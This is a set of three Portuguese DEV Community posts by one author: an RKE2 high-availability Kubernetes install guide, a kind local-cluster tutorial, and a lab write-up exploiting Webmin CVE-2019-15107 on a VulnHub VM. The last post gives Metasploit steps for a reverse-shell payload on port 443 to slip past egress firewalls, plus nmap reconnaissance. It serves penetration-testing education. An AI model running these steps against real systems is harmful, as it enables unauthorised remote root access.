DEV Community: Guto Ribeiro

Instalação do RKE2 em HA

Guto Ribeiro — Sun, 05 Jan 2025 04:52:09 +0000

1. Apresentação

Neste artigo, demonstro a instalação de um cluster em HA (High Availability -> Alta disponibilidade) utilizando a distribuição Kubernetes RKE2, mantida pela SUSE. A distribuição RKE2 foca em boas práticas e conformidade com requisitos de segurança. Existe uma distribuição mais antiga, apenas RKE, aqui será utilizada a RKE2. A sigla RKE vem de Rancher Kubernetes Engine.
Mais informações sobre RKE vs RKE2, aqui.

O sistema operacional base validado aqui será o Oracle Linux 8. Porém, possivelmente o mesmo procedimento em distribuições Red Hat like (CentOS, Alma Linux, Rocky Linux, etc) funcionará sem problemas.

2. O Cluster RKE2 - Topologia Básica

Esta instalação considera cinco nodes:

03 nodes com as roles control-plane + etcd
02 nodes com a role agent (worker)

Outras configurações de cluster podem ser consultadas na documentação oficial.

2.1. Sugestão de recursos

Uma sugestão de capacidade computacional, pode ser a listada abaixo:

Control-plane: 4GB de RAM, 4 cpus, espaço em disco para o /var de 150GB. Mínimo de 3 nodes.
Worker: 16GB de RAM, 8 cpus, espaço em disco para o /var de 250GB. Mínimo de 3 nodes.

Cada ambiente é único, e uma análise detalhada das suas necessidades é essencial para dimensionar adequadamente o cluster Kubernetes com RKE2.

Uma dica útil é usar volumes lógicos (LVM) para o /var, assim ficará mais fácil realizar aumento do volume.

2.2. Esclarecimentos

O cluster RKE2 que será implantado utilizará como plugin de rede o Canal;
O RKE2 denomina como server uma instalação de node que terá a role de control-plane. E os nodes que terão a role de worker, denomina como agent.

3.Preparação do ambiente

Nesse artigo tutorial, é utilizado DNS. Assim, é essencial que o DNS interno da sua rede funcione corretamente, pois será necessário criar os devidos apontamentos..

Para facilitar a execução dos passos desse tutorial, será realizado apontamento no arquivo /etc/hosts de cada node, conforme abaixo:

192.168.100.101    rke01.devsecops.local.in
192.168.100.102    rke02.devsecops.local.in
192.168.100.103    rke03.devsecops.local.in
192.168.100.104    rke04.devsecops.local.in
192.168.100.105    rke05.devsecops.local.in

Caso vá validar esse tutorial em seu ambiente, adeque os ips e nomes conforme seu ambiente.

Vamos ao trabalho!

3.1. Entradas DNS

Adicionando as entradas no /etc/hosts de cada node:

sudo tee -a /etc/hosts > /dev/null << EOF
192.168.100.101    rke01.devsecops.local.in
192.168.100.102    rke02.devsecops.local.in
192.168.100.103    rke03.devsecops.local.in
192.168.100.104    rke04.devsecops.local.in
192.168.100.105    rke05.devsecops.local.in
EOF

3.2. Desabilitar SWAP

O uso de swap em ambientes Kubernetes não é recomendado. Assim, desabilite o swap em cada node.:

systemctl disable swap.target
swapoff -a

3.3. Configuração do firewall host

Este passo é opcional, mas altamente recomendado. Embora aumente a complexidade da configuração, é essencial em ambientes que exigem maior controle. Se esse for o seu cenário, aqui será demonstrada a configuração do FirewallD, disponível em distribuições Linux baseadas no Red Hat.

O firewall do host será configurado em cada node utilizando o comando CLI do FirewallD, firewall-cmd. No geral, a configuração é parecida em cada node, com algumas pequenas diferenças:

Certifique-se de não adicionar o próprio IP do node como origem (source), pois isso pode causar problemas.
A configuração nos nodes workers é um pouco menor.

Esta configuração segue as orientações da documentação oficialsobre as portas que devem ser liberadas. Lembre-se, aqui trata-se de uma liberação na rede interna de seu ambiente, considerando um cenário de um ambiente que tenha mais controle.

Em cada node, crie uma nova zona no FirewallD com o comando abaixo:

firewall-cmd --permanent --new-zone=rke2-zone

Aqui, denominei a zona de "rke2-zone".

a. Configuração no node rke01 (control-plane):
Associe os IPs dos outros nodes como origens (sources) à zona criada:

firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.102 #rke02
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.103 #rke03
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.104 #rke04
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.105 #rke05

Criação das regras:

firewall-cmd --permanent --zone=rke2-zone --add-port=2379/tcp #etcd client port
firewall-cmd --permanent --zone=rke2-zone --add-port=2380/tcp #etcd peer port
firewall-cmd --permanent --zone=rke2-zone --add-port=2381/tcp #etcd metrics
firewall-cmd --permanent --zone=rke2-zone --add-port=6443/tcp #Kubernetes API
firewall-cmd --permanent --zone=rke2-zone --add-port=9345/tcp #RKE2 Supervisor API
firewall-cmd --permanent --zone=rke2-zone --add-port=8472/udp #Canal VXLAN
firewall-cmd --permanent --zone=rke2-zone --add-port=9099/tcp #Canal CNI health checks
firewall-cmd --permanent --zone=rke2-zone --add-port=10250/tcp #Kubelet metrics

Regras para zone public:

firewall-cmd --permanent --zone=public --add-service=http
firewall-cmd --permanent --zone=public --add-service=https
firewall-cmd --permanent --zone=public --add-port=30000-32767/tcp

Aplicando a configuração de forma efetiva com um reload:

firewall-cmd --reload

b. Configuração no node rke02 (control-plane):
Associe os IPs dos outros nodes como origens (sources) à zona criada:

firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.101 #rke01
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.103 #rke03
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.104 #rke04
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.105 #rke05

Criação das regras:

firewall-cmd --permanent --zone=rke2-zone --add-port=2379/tcp  # etcd client port
firewall-cmd --permanent --zone=rke2-zone --add-port=2380/tcp  # etcd peer port
firewall-cmd --permanent --zone=rke2-zone --add-port=2381/tcp  # etcd metrics
firewall-cmd --permanent --zone=rke2-zone --add-port=6443/tcp  # Kubernetes API
firewall-cmd --permanent --zone=rke2-zone --add-port=9345/tcp  # RKE2 Supervisor API
firewall-cmd --permanent --zone=rke2-zone --add-port=8472/udp  # Canal VXLAN
firewall-cmd --permanent --zone=rke2-zone --add-port=9099/tcp  # Canal CNI health checks
firewall-cmd --permanent --zone=rke2-zone --add-port=10250/tcp # Kubelet metrics

Regras para zone public:

firewall-cmd --permanent --zone=public --add-service=http
firewall-cmd --permanent --zone=public --add-service=https
firewall-cmd --permanent --zone=public --add-port=30000-32767/tcp

Aplicando a configuração de forma efetiva com um reload:

firewall-cmd --reload

c. Configuração no node rke03 (control-plane):

Associe os IPs dos outros nodes como origens (sources) à zona criada:

firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.101 #rke01
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.102 #rke02
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.104 #rke04
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.105 #rke05

Criação das regras:

firewall-cmd --permanent --zone=rke2-zone --add-port=2379/tcp  # etcd client port
firewall-cmd --permanent --zone=rke2-zone --add-port=2380/tcp  # etcd peer port
firewall-cmd --permanent --zone=rke2-zone --add-port=2381/tcp  # etcd metrics
firewall-cmd --permanent --zone=rke2-zone --add-port=6443/tcp  # Kubernetes API
firewall-cmd --permanent --zone=rke2-zone --add-port=9345/tcp  # RKE2 Supervisor API
firewall-cmd --permanent --zone=rke2-zone --add-port=8472/udp  # Canal VXLAN
firewall-cmd --permanent --zone=rke2-zone --add-port=9099/tcp  # Canal CNI health checks
firewall-cmd --permanent --zone=rke2-zone --add-port=10250/tcp # Kubelet metrics

Regras para zone public:

firewall-cmd --permanent --zone=public --add-service=http
firewall-cmd --permanent --zone=public --add-service=https
firewall-cmd --permanent --zone=public --add-port=30000-32767/tcp

Aplicando a configuração de forma efetiva com um reload:

firewall-cmd --reload

d. Configuração no node rke04 (worker):
Associe os IPs dos outros nodes como origens (sources) à zona criada:

firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.101 #rke01
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.102 #rke02
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.103 #rke03
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.105 #rke05

Criação das regras:

firewall-cmd --permanent --zone=rke2-zone --add-port=8472/udp #Canal VXLAN
firewall-cmd --permanent --zone=rke2-zone --add-port=9099/tcp #Canal CNI health checks
firewall-cmd --permanent --zone=rke2-zone --add-port=10250/tcp #Kubelet metrics

Regras para zone public:

firewall-cmd --permanent --zone=public --add-service=http
firewall-cmd --permanent --zone=public --add-service=https
firewall-cmd --permanent --zone=public --add-port=30000-32767/tcp

Aplicando a configuração de forma efetiva com um reload:

firewall-cmd --reload

e. Configuração no node rke05 (worker):
Associe os IPs dos outros nodes como origens (sources) à zona criada:

firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.101 #rke01
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.102 #rke02
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.103 #rke03
firewall-cmd --permanent --zone=rke2-zone --add-source=192.168.100.104 #rke04

Criação das regras:

firewall-cmd --permanent --zone=rke2-zone --add-port=8472/udp  # Canal VXLAN
firewall-cmd --permanent --zone=rke2-zone --add-port=9099/tcp  # Canal CNI health checks
firewall-cmd --permanent --zone=rke2-zone --add-port=10250/tcp # Kubelet metrics

Regras para zone public:

firewall-cmd --permanent --zone=public --add-service=http
firewall-cmd --permanent --zone=public --add-service=https
firewall-cmd --permanent --zone=public --add-port=30000-32767/tcp

Aplicando a configuração de forma efetiva com um reload:

firewall-cmd --reload

Embora este processo possa ser automatizado com um shell script ou uma playbook Ansible, executá-lo manualmente ajuda a compreender melhor cada etapa antes de criar automações.

Para visualizar a configuração em cada zona:

firewall-cmd --list-all --zone=rke2-zone
firewall-cmd --list-all --zone=public

4. Instalação do RKE2 - Cluster em HA

Agora, finalmente, chegou o momento de subir o cluster RKE2.

4.1. Primeiro control-plane (rke01)

É necessário subir primeiro um node control-plane. Aqui no cenário, o node rke01 será o primeiro.

Passos:
a. Criação de diretórios necessários:

mkdir -p /etc/rancher/rke2/
mkdir -p  /var/lib/rancher/rke2/server/manifests/

b. Criação do arquivo de configuração config.yaml:

cat<<EOF|tee /etc/rancher/rke2/config.yaml
tls-san:
  - rke01.devsecops.local.in
  - 192.168.100.101
  - rke02.devsecops.local.in
  - 192.168.100.102
  - rke03.devsecops.local.in
  - 192.168.100.103
  - rke04.devsecops.local.in
  - 192.168.100.104
  - rke05.devsecops.local.in
  - 192.168.100.105
write-kubeconfig-mode: "0600"
etcd-expose-metrics: true
selinux: true
cni:
  - canal

EOF

Mais detalhes sobre os parâmetros e configuração para servers aqui.

c. Criação de manifest para implantação de um Ingress Controller baseado no Nginx:

cat<<EOF| tee /var/lib/rancher/rke2/server/manifests/rke2-ingress-nginx-config.yaml
---
apiVersion: helm.cattle.io/v1
kind: HelmChartConfig
metadata:
  name: rke2-ingress-nginx
  namespace: kube-system
spec:
  valuesContent: |-
    controller:
      metrics:
        service:
          annotations:
            prometheus.io/scrape: "true"
            prometheus.io/port: "10254"
      config:
        use-forwarded-headers: "true"
      allowSnippetAnnotations: "true"
EOF

d. Inciar a instalação:

curl -sfL https://get.rke2.io | INSTALL_RKE2_TYPE=server sh -

A execução do script oficial instalará o RKE2 em modo server. Configurará os repositórios de pacotes RPM e a instalação será via gerenciador de pacotes padrão do S.O.

Também será instalado o kubectl, assim será possível interagir com o cluster kubernetes.

e. Iniciar o serviço rke2-server:

systemctl start rke2-server

Esse processo de subir o serviço pode demorar um pouco, é normal. Aguarde terminar.

Depois, consulte o status do serviço:

systemctl status rke2-server

Não ocorrendo nenhum erro, pode-se prosseguir.

Deve-se habilitar o serviço, assim, ao reiniciar o sistema operacional, o rke2-server iniciará automaticamente:

systemctl enable rke2-server

f. Adicionando algumas variáveis de ambiente

Por padrão, os binários do RKE2 ficam em /var/lib/rancher/rke2/bin. Então, é necessário adicionar esse caminho ao PATH do sistema, a fim de facilidar a execução dos comandos, sem precisar indicar o caminho todo.

export PATH=$PATH:/var/lib/rancher/rke2/bin
export KUBECONFIG=/etc/rancher/rke2/rke2.yaml

Além dos binários em si, também foi criada a variável KUBECONFIG apontando para o arquivo de configuração, assim será possível usar o kubectl dentro do node

Para tornar essas variáveis persistentes no ambiente, pode-se adicioná-las no .bashrc do usuário:

echo "export PATH=$PATH:/var/lib/rancher/rke2/bin" >> $HOME/.bashrc
echo "export KUBECONFIG=/etc/rancher/rke2/rke2.yaml"  >> $HOME/.bashrc

Pode-se executar um kubectl no node para confirmar o status do node no cluster kubernetes:

kubectl get nodes

g. Coletar o token de instalação
Para adicionar outros nodes, é necessário coletar o token que foi gerado na instalação:

cat /var/lib/rancher/rke2/server/node-token

4.2. Demais nodes control-plane (rke02 e rke03)

Os passos são praticamente os mesmos. A diferença está no arquivo de configuração config.yaml e no fato de não ser necessário coletar o token de instalação nesses nodes.

a. Criação do arquivo config.yaml:

cat<<EOF|tee /etc/rancher/rke2/config.yaml
server: https://192.168.100.101:9345
token: <TOKEN_COLETADO_NO_NODE_01_AQUI>
write-kubeconfig-mode: "0644"
tls-san:
  - rke01.devsecops.local.in
  - 192.168.100.101
  - rke02.devsecops.local.in
  - 192.168.100.102
  - rke03.devsecops.local.in
  - 192.168.100.103
  - rke04.devsecops.local.in
  - 192.168.100.104
  - rke05.devsecops.local.in
  - 192.168.100.105
write-kubeconfig-mode: "0644"
selinux: true
etcd-expose-metrics: true
cni:
  - canal

EOF

Perceba que a diferença no arquivo de configuração está na adição da linha que deve conter o token que foi coletado no node 01 (rke01).

4.3. Instalação de Worker node (rke04 e rke05)

Agora vamos a etapa de instalação dos nodes workers (agent). Os passos a seguir devem ser executados nos dois nodes workers.

a. Criação de diretório necessário:

mkdir -p /etc/rancher/rke2/

b. Criação do arquivo de configuração config.yaml

cat<<EOF|tee /etc/rancher/rke2/config.yaml
server: https://192.168.100.101:9345
token: <TOKEN_COLETADO_NO_NODE_01_AQUI>
write-kubeconfig-mode: \"0644\"
selinux: true

EOF

c. Iniciar a instalação

curl -sfL https://get.rke2.io | INSTALL_RKE2_TYPE=agent sh -

d. Iniciar o serviço rke2-agent

Após a execução do passo c, basta inciar o serviço:

systemctl start rke2-agent.service

O processo de start pode demorar um pouco, aguarde finalizar.

Para consultar o status e verificar se está tudo certo:

systemctl status rke2-agent.service

Deve-se habilitar o serviço, assim, ao reiniciar o sistema operacional, o rke2-agent iniciará automaticamente:

systemctl enable rke2-agent

Pronto, se tudo foi feito corretamente, nesse momento temos um cluster kubernetes implantado com a distribuição RKE2.

Referência

https://docs.rke2.io/install/ha

Kind: uma jornada empolgante com k8s em seu GNU/Linux!

Guto Ribeiro — Sun, 28 Apr 2024 20:40:29 +0000

Introdução

Durante o desenvolvimento e/ou testes de aplicações desenhadas para execução em ambientes baseados no orquestrador Kubernetes, surge a necessidade de se ter um cluster disponível. Nem sempre isso está acessível de forma prática e rápida.

Existem várias formas e ferramentas que possibilitam executar um cluster k8s localmente. Aqui vou falar um pouco sobre o Kind (Kubernetes in Docker).

O kind de forma resumida é uma forma de executar nodes kubernetes dentro de contêineres docker. Os nodes do cluster, na prática são containers docker.

Cenário

Para deixar tudo alinhado, meu ambiente de trabalho é baseado em GNU/Linux, distribuição Dedian Like. Entretanto, o Kind também tem suporte para Windows e Mac. Assim, apesar de aqui ser demonstrado tudo baseado no meu cenário, isso pode perfeitamente ser adaptado para a sua realidade, basta seguir a documentação oficial.

Pré-requisitos:

Para execução desse tutorial:

Distribuição Linux (Debian Like, Ubuntu, por exemplo).
Docker (é compatível também com Podman). Para melhor entendimento, recomenda-se ter conhecimento básico prévio sobre:
Contêineres de aplicação
Docker
Kubernetes

Instalação

Para instalar o kind existem várias maneiras. Aqui será demonstrado conforme a documentação oficial, mais especificamente através do método Installing from Release Binaries.

Etapas:

Download do binário (Aqui demonstrado para arquitetura AMD64/x86_64)

[ $(uname -m) = x86_64 ] && curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64

Adicionando permissão de execução ao binário

chmod +x ./kind

Movendo o binário para um path que esteja na variável path do S.O.:

sudo mv ./kind /usr/local/bin/kind

Alguns esclarecimentos:
No primeiro comando, o trecho [ $(uname -m) = x86_64 ] é uma condição que está validando se a arquitetura do sistema operacional é x86_64. Ou seja, ele valida se a saída do uname -m que está dentro de um subshell "$()" é igual a "x86_64", sendo igual, retornará sucesso.

Como após a condição, temos um "&&", a segunda parte só executada se a primeira teve como saída sucesso. É isso que significa o "&&" em uma linha de comando shell, explicando: comando1 && comando2, só será executado o comando2 se o comando1 teve sucesso. No caso aqui, se arquitetura do S.O. for diferente do esperado, nem será realizado o download do binário.

No terceiro comando, caso queira consultar o path do seu S.O. para entender melhor para onde mover, basta digitar no terminal echo $PATH. No caso do Ubuntu, pode-se mover para /usr/local/bin que é um caminho padrão para instalação de binários adicionais no sistema.

Criando o primeiro cluster

Para criar um cluster é trivial:

kind create cluster

Ou passando um name para o cluster, sim você consegue criar mais de um cluster inclusive:

kind create cluser --name euterpe

Quando o nome não é passado como parâmetro, será criado um cluster com o nome kind.

O nome é importante, pois será o context usado no config que é usado pelo comando kubectl.

Caso queira listar os clusters criados com o kind:

kind get clusters

Quando tiver mais de um cluster, é necessário indicar ao kubectl o context. Exemplo:

kubectl cluster-info --context kind
kubectl cluster-info --context euterpe

Para excluir um cluster criado pelo kind:

kind delete cluster -n euterpe

Deve-se indicar o nome do cluster que quer excluir com a opção "-n" caso tenha mais de um cluster criado.

Agora a coisa vai ficar séria!

Está tudo muito bem, mas nada demais até aqui. Agora, vamos criar um cluster com algumas customizações.

Usando o kind, a forma de fazer isso é via um arquivo de configuração que é passado no momento da criação do cluster.

Etapas:

Criar um arquivo de configuração do cluster no formato yaml (config.yaml):

kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: euterpe
nodes:
- role: control-plane
  image: kindest/node:v1.27.11@sha256:681253009e68069b8e01aad36a1e0fa8cf18bb0ab3e5c4069b2e65cafdd70843
  kubeadmConfigPatches:
  - |
    kind: InitConfiguration
    nodeRegistration:
      kubeletExtraArgs:
        node-labels: "ingress-ready=true"
  extraPortMappings:
  - containerPort: 80
    hostPort: 80
    protocol: TCP
  - containerPort: 443
    hostPort: 443
    protocol: TCP
- role: worker
  image: kindest/node:v1.27.11@sha256:681253009e68069b8e01aad36a1e0fa8cf18bb0ab3e5c4069b2e65cafdd70843
  extraMounts:
  - hostPath: /opt/kind-data/worker01
    containerPath: /mnt/data
- role: worker
  image: kindest/node:v1.27.11@sha256:681253009e68069b8e01aad36a1e0fa8cf18bb0ab3e5c4069b2e65cafdd70843
  extraMounts:
  - hostPath: /opt/kind-data/worker02
    containerPath: /mnt/data

Alguns pontos sobre o arquivo:

Está sendo definido um cluster com 3 nodes, um control-plane e 2 workers. Isso é definido nas linhas que contém "- role: ";
Está sendo definida uma versão específica de k8s, através do que é definido em "image: ". Ou seja, através da imagem do container que será usado, é definida a versão do k8s. Mais informações aqui.
Através dos trechos "kubeadmConfigPatches" e "extraPortMappings", possibilita-se o uso de ingress controller no cluster local, como por exemplo, o Nginx Ingress Controller.
Nos nodes workers, foi definida uma opção "extraMounts", que permite montagem de volume entre os nodes e o host hospedeiro (seu computador). Isso ajuda em alguns cenários de persistência e transferência de dados.

Criando o cluster a partir do arquivo de configuração criado, por exemplo, config.yaml (o nome pode ser qualquer um):

kind create cluster --config config.yaml

Lembre-se que, para que o comando acima funcione, no terminal deverás estar dentro do diretório que contém o arquivo config.yaml. Se não, poderá ser passado o caminho completo do arquivo.

Se tudo deu certo, a saída no terminal será:

Checando os nodes:

kubectl get nodes

Saída:

NAME                    STATUS   ROLES           AGE   VERSION
euterpe-control-plane   Ready    control-plane   32s   v1.27.11
euterpe-worker          Ready    <none>          9s    v1.27.11
euterpe-worker2         Ready    <none>          15s   v1.27.11

Pronto, seu cluster local está pronto!

Considerações

Mas por que usar o kind?

Algumas razões para eu preferir o kind:

suporte a clusters de vários nós (incluindo HA);
suporte a construção de versões de lançamento do Kubernetes;
suporte para Linux, macOS e Windows;
é um instalador Kubernetes em conformidade com certificação CNCF.
facilidade de uso, visto que é tudo via container, pode facilmente criar e excluir. Ideal para testes rápidos em ambiente de desenvolvimento local.

O kind oferece uma experiência excelente para iniciar clusters mais próximos de ambientes "reais" com kubernetes.

É possível usar o kind em esteiras de CI/CD para ainda na pipeline subir um cluster com kind e fazer testes em seus manifestos ou charts helm. Assim, é possível validar QA e também testes de segurança, com a aplicação implantada inicialmente em um kind dentro de sua pipeline (github actions, gitlab ci/cd, etc).

Há mais aplicações e utilidades do kind em seu ambiente, tenho certeza.

Exploração de Vulnerabilidade

Guto Ribeiro — Tue, 23 Apr 2024 23:45:23 +0000

Aviso: Este artigo tem objetivo educacional, servindo de base para compreender como funciona a exploração de serviço vulnerável, dentro de um escopo de um pentest, utilizando ambiente controlado, sem exploração de um ambiente real.

Artigo postado originalmente no Linkedin em 20/04/2022. Aqui com algumas modificações.

1. Introdução

A área de segurança da informação vem ganhando maior visibilidade atualmente, mas os riscos e vulnerabilidades sempre existiram.

O objetivo deste texto é demonstrar uma prova de conceito (POC) de exploração de vulnerabilidade no serviço webmin, utilizano-se uma abordagem de pentest.

Um pentest (teste de intrusão em sistemas, em resumo) pode ser dividido em várias etapas, segundo alguns frameworks própios como o Information System Assessment Framework - ISSAF, Open Source Security Testing Methodology Manual - OSSTMM, O Testing Guide (OTG) da Open Web Application Security Project - OWASP, Penetration Testing Execution Standard - PTES e o NIST Thecnical Guide to Information Security Testing and Assessment 800-115.

Pode-se ilustrar etapas, de forma simplificada, conforme o diagrama abaixo:

Na POC aqui demonstrada, será abordado até a etapa de exploração.

2. Execução da POC

O que foi utilizado para a realização da POC:

Sistema Operacional Hospedeiro Ubuntu 20.04
VirtualBox versão 6.1.32
Uma VM vulnerável, disponível em: https://www.vulnhub.com/entry/hacker-fest-2019,378/
Uma VM com Kali Linux 2022.1, disponível para download em: https://www.kali.org/get-kali/.

O vulnhub é um site onde é possível realizar o download de Virtual Machines (VMs) que possuem vulnerabilidades. Isso é útil para estudo em ambiente controlado.

Após configurar as VMs, vamos à execução.

2.1. Obtendo informações

Antes de mais nada, pode-se testar a VM vulnerárel. Essa VM contém um site, para simular uma situação real, como se fosse de fato um servidor disponibilizando um site. Para validar, pode-se acessar em um navegador o endereço IP da VM para ver se aparece algo:

No lab da POC, a VM vulnerável está configurada com o IP 192.168.56.125. Logo, basta acessar no navegador o endereço http://192.168.56.125.

ATENÇÃO: Aqui cabe um alerta, sempre que for executar uma VM sabidamente vulnerável, nunca execute-a com configurações de rede que permitam a comunicação com sua rede real. No caso do Virtual Box, é bom consultar a documentação sobre as configurações de redes possíveis em uma VM.

Para quem já tem um pouco mais de experiência, de pronto já reconhece que o site é feito utilizando o Wordpress. Mas mesmo quem não tem essa percepção, pelo próprio inspecionador do Browser, pode-se obter alguma pista. Mas vamos partir do entendimento que não se saiba, uma das formas de descobrir é pelo próprio Kali, utilizando a ferramenta whatweb:

Na saída do comando whatweb, são exibidas algumas informações úteis, por exemplo, "Worpress[5.2.3]". Adicionalmente, pode-se verificar o alvo com a ferramenta wpscan, que é um scanner de vulnerabilidades específico para Wordpress, mas não é o foco dessa POC.

Ainda como obtenção de informações, podemos utilizar o Nmap para identificar portas abertas e serviços no host alvo.

sudo nmap -sV -p- -v -Pn 192.168.56.125

Em que:
-sV -> Identificar os serviços e versões que estão com portas abertas;
-p- -> Escanear todas as 65536 portas
-v -> Modo verboso, mostrar mais informações no terminal
-Pn -> Não utilizar o ICMP (ping)

A saída do comando nmap:

Observam-se algumas portas abertas, dentre elas a 10000/tcp, sendo identificado o serviço Webmin executando nesta porta, que é o serviço a ser explorado no escopo desta POC. Percebe-se, também, que a versão do Webmin é a 1.890.

Atenção: O Nmap é uma ferramenta que causa muito "ruído" na rede, tornando-o facilmente detectável em um ambiente que tenha o mínimo de maturidade em segurança da informação. Existem formas de tentar torná-lo mais discreto (Stealthy, na linguagem técnica da área), mas como aqui demonstrato, trata-se de um ambiente controlado, não se teve tal preocupação.

Resultados da etapa de Obtenção de Informações:

Site utilizando Wordpress 5.2.3;
Apache Web Server 2.4.25;
vsftpd 3.0.3
OpenSSH 7.4
Sistema Operacional Linux (possivelmente um GNU/Debian);
Portas abertas: 21/tcp - ftp, 22/tcp - ssh, 80/tcp - http e 10000/tcp - ssl/http.

Com o executado até aqui, ressalta-se que as operações executadas, não são a única forma de se obter as informações, existem outras maneiras, como: uso de comandos nativos de qualquer GNU/Linux, ferramentas web, etc.

3. Identificação e Verificação de Vulnerabilidades

Na etapa anterior, foram identificados vários serviços que podem ou não ter uma vulnerabilidade, proporcionando uma exploração/ataque. Para essa demonstração, será mantido apenas o escopo de exploração do Webmin. Entretanto, o que será demonstrado pode facilmente ser aplicado para os demais serviços, com as devidas proporções e ajustes.

De posse das informações obtidas, pode-se facilmente realizar uma pesquisa no próprio google por "webmin exploit" ou em ferramentas e sites especializados. Um site bem utilizado é o Exploit DB. Através dele é possível verificar a existência de um exploit para determinada versão de um serviço, no nosso caso, o Webmin 1.890.

Para quem ainda não conhece o termo, um exploit é uma aplicação, uma quantidade de dados ou mesmo uma sequência de comandos que exploram uma determinada vulnerabilidade. É possível desenvolver um exploit ou mesmo consultar nas bases de dados especializadas, como citdado anteriormente.

Após algumas pesquisas na internet, constata-se que existe uma a CVE-2019-15107, conforme o próprio link, "An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.". Será essa a CVE a ser explorada na POC.

O interessante é que não foi necessário executar nenhuma ferramenta de verificação de vulnerabilidades, a exemplo, OpenVAS. Apenas com informações obtidas na primeira etapa, foi possível localicar vulnerabilidade e exploit na própia internet.

Uma outra forma de procurar exploits é através do próprio Kali, usando o comando searchsploit, conforme a figura abaixo:

4. Exploração

Há algumas formas e técnicas para exploração. Será utilizado na demonstração, o framework Metasploit. Através deste framework, pode-se desenvolver e utilizar exploits. Ele é uma ferramenta bastante utilizada em testes de invasão.

Será realizada na demonstração, a tentativa de exploração usando o exploit listado na linha "Webmin 1.900 - Remote Command Execution (Metasploit) | cgi/remote/46201.rb", conforme a imagem da saída do comando searchsploit webmin.

4.1. Abrindo o Metasploit no Kali

Basta digitar o comando msfconsole, estando como usuário root. Após executar o comando, o terminal terá a saída, conforme imagem abaixo:

4.2. Buscando dentro do Metasploit

Através do próprio prompt do Metasploit é possível realizar uma busca por webmin, através do comando search webmin:

Será utilizado:
"5 exploit/linux http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor"
Pois, foi a vulnerabilidade encontrada está relacionada ao CGI (CVE-2019-15107).

4.3. Ativando o exploit

Para ativar, basta usar o comando use 5:

Após a ativação do exploit, para exibir as opções basta digitar options.

Com o comando info, é possível listar informações adicionais.

4.4. Configurando o exploit para inicar o ataque

O payload já veio configurado, conforme a linha Payload options (cmd/unix/reverse_perl), exibido na imagem anterior. Em alguns caso, é necessário configurar isso.

Para evitar uma eventual inconsitência na execução do exploit, devido a versão do webmin, visto que o alvo tem uma versão um pouco diferente da que o exploit foi desenvolvido para explorar, configura-se o force exploit. Assim, basta executar o comando set _forceexploit true_.

Em seguida, precisa-se configurar o remote host (o alvo), através do comando set rhost IP_DO_ALVO:

Lembre-se que as opções do que pode ou não ser configurado, são exibidas através do comando options do msfconsole.

Agora, configura-se o local host (o atacante), através do comando set lhost IP_DO_ATACANTE:

O IP 192.168.56.127 é o ip configurado no host atacante, Kali.

Para confirmar o que já está configurado, basta digitar o comando options novamente.

Como RPORT já está a porta correta (10000), não precisamos configurar a porta remota (alvo).

A LPORT (porta local, atacante) está configurada como 4444. Pode-se configurar uma porta mais baixa para tentar não ser bloqueado por um firewall, utilizando uma porta 443/tcp - https (set lport 443), por exemplo. Além disso, é necessário habilitar o ssl com o comando set ssl true.

Como foi utilizada a porta 443/tcp no lport (porta no host atacante), é importante confirmar se não existe nenhum serviço "up" usando essa porta no host atacante.

4.5. Efetivando a exploração

O que será executado é um shell reverso, ou seja, ao invés do atacante abrir uma conexão com o alvo, o alvo abrirá uma conexão com o atacante, fornecendo um shell (terminal), por isso o nome shell reverso (reverse shell). Esta é uma técnica muito utilizada, pois, eventualmente, um firewall pode está configurado de modo a ser mais permissivo para saída.

Para executar, basta digitar o comando run:

Na imagem acima, já é percebido que o alvo conectou no atacante, abrindo um shell reverso. Foram executados os comandos: id, whoami e ls -l /etc/passwd.

Exploração feita com sucesso!

5. Considerações finais

Essa exploração é considerada básica e fácil, até mesmo pelo fato do shell reverso já ser aberto com o usuário root, o que indica uma má configuração no servidor alvo. Se tivesse sido usado um usuário de serviço com permissões limitadas (princípio do menor privilégio possível) e sem shell habilitado, a exploração poderia oferecer maior esforço, pois teria de se buscar outra vulnerabilidade que permitisse a abertura de uma sessão de shell reverso assim como necessidade de a escalação de privilégios para o usuário root.

Ficou evidenciado, também, uma falha que foi a de permitir saída para internet no host alvo. Isso não é recomendado, porém em alguns casos, existem regras permissivas de saída, por necessidade do negócio. Como o ataque usou uma porta baixa (443/tcp), que é a porta https, isso pode ter facilidado a exploração. Inclusive, os atacantes mais experientes não usam portas altas para receber conexões reversas, pois sabem que normalmente a porta 443 ou mesmo a 80, costumam está com a saída liberada.

Mesmo sendo um ambiente controlado, é provável que existam ambientes em produção configurados dessa forma e com a vulnerabilidade que teve a exploração demonstrada aqui.

Claro que se pode, perfeitamente, questionar: Mas alguém colocaria um webmin aberto pra internet? Mesmo que não, um servidor rodando o webmin com essa vulnerabilidade pode ser explorado em um ataque lateral, em que, por exemplo, se "ganha" um outro servidor e por uma falta de segregação de redes, consegue-se explorar o host que tem o webmin vulnerável.

